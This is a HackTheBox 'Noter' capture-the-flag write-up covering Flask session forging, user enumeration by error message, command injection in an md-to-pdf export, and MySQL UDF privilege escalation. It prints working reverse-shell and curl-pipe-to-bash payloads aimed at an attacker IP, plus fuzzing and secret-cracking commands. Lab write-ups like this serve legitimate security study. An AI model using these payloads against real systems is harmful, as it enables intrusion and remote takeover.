# HackTheBox - Noter ## NMAP ```bash PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10) | http-methods: |_ Supported Methods: OPTIONS HEAD GET |_http-title: Noter Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel ``` ## PORT 21 (FTP) Tried anonymous login on ftp which failed, so moving on to port 5000 ## PORT 5000 (HTTP) On this page we can see an option to see notes but this required a authorized user, I tried to use default admin password `admin:admin` which didn't worked. Also tried doing a basic sqli `admin' or 1=1 -- ` which failed too We do have an option to register an account so let's do that After logging in we can add notes and also there's an option for upgrading to VIP But this option wasn't available So moving on to adding notes, I tried testing for xss which failed Checking the session cookie, it was a flask session as it can be decoded using `flask-unsign` which tells that it's a flask application Maybe there's SSTI in notes, we can check that too because most of the flask apps are vulnerable to SSTI This didn't worked as well, so I went with fuzzing for files and directories using `dirsearch` ## Foothold There wasn't really interesting, looking back at the flask session maybe we can modify it to get a user's session but for that there are two things we need a valid username which should have admin privileges or should get us somewhere and a flask secret with which we can forge flask session We can fuzz for usernames and to do that we need to do some filtering with the responses For the existing username we get an error message "Invalid login" And for a user which doesn't exist we get "Invalid credentials" so with the help of error messages we can do user enumeration Let's first identifiy POST parameters I added `ARZ` which is a valid user and `admin` which doesn't exist and looking at the response of characters we can try to filter for characters below `2030` which might give us a username ```bash wfuzz -c -w /opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -u 'http://10.10.11.16 0:5000/login' -d 'username=FUZZ&password=1' --hh 2029,2030,2031,2032,2033,2034,2035,2036 ``` So it started to show me responses with less characters but still I wasn't sure of which ones could be a username so this method isn't effective even tho we can see a username `blue` with the same exact characters so this might be the username we are looking but we can do this effectively with a tool called `patator` https://github.com/lanjelot/patator ```bash python3 patator.py http_fuzz 'url=http://10.10.11.160:5000/login' method=POST body='username=FILE0&password=a' 0=/opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -x ignore:fgrep='Invalid credentials' ``` The syntax is a little harder but it's an awesome tool to fuzz with error messages Which gives the same user `blue` and if check on the login page to see if this user exists We get the message "Invalid login", now we just need the secret in order to modify the flask session https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask Visitng hacktricks, we can brute force secret with flask-unsign Using `rockyou.txt` to brute force secret didn't work so I had to install the wordlist for flask secret ```bash flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiQVJaIn0.Ynkvhw.C69zkNUyfYjmYN0e08l6EmWAh1U' ``` And we got the secret which is `secret123`, now we need to sign in having the username `blue` ```bash flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' ``` After replacing the flask session we'll be able to login as blue And in notes we'll be able to a password for ftp user `blue : blue@Noter!` Reading the pdf file, we'll get another password `username@site_name!` so this must be for the `ftp_admin` which would be `ftp_admin@Noter!` Downloading these backup archives, we get two versions of the source code, the one from the backup `1638395546` is having the source code for exporting notes ## Un-Intended Method And it's running a command to run a node js module passing the contents of makrdown file to convert it to pdf which is then executing a shell command with `subprocess.run` which is vulnerable to command injection I created a markdown file having a bash reverse shell, now let's try importing it After exporting the makrdown file we'll get this error but at our netcat listener we'll get a connection but it will just close after connecting To escapae the single quote from `$'{r.text.strip()}'` we need to use `'` before our reverse shell and use either pipe `|` or semicolon `;` to execute the reverse shell command at the end we'll specify `#` ```bash ' ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.51/2222 0>&1' # ``` Stabilizing the shell with python3 I didn't find any thing in user's directory or having seeing anything with `sudo -l` so transferred `pspy` to monitor background processes We can also see how that single quote escape worked ## Intended Method From the node command being executed, it's a module called `md-to-pdf` This was vulnerable to rce https://github.com/simonhaenisch/md-to-pdf/issues/99 ``` ---js\n((require("child_process")).execSync("curl 10.10.16.51:3333/shell.sh | bash"))\n---RCE ``` This payload will download our bash reverse shell and execute by piping it to bash From the backup of `1635803546` archive, we previously found credentials for mysql so let's test if these work ## Privilege Escalation Here we can do something which is called `Privilege Escalation with MySQL User Defined Functions` https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf https://www.exploit-db.com/exploits/1518 First we need to compile the source code Now to create a shared library After this we need to locate where the plugins are stroed and create a table in `mysql` database which will have an entry for the exploit which will help us in loading it in mysql plugins, create a user defined function which will run system commands using that shared library Plugins directory is `/usr/lib/x86_64-linux-gnu/mariadb19/plugin/` Switching to mysql database Creating a table named `foo` and inserting the shared library From the table, loading the plugin Creating the function `do_system` And now just using the function to get a reverse shell ## References - https://github.com/lanjelot/patator - https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask - https://pypi.org/project/flask-unsign-wordlist/ - https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf - https://www.exploit-db.com/exploits/50236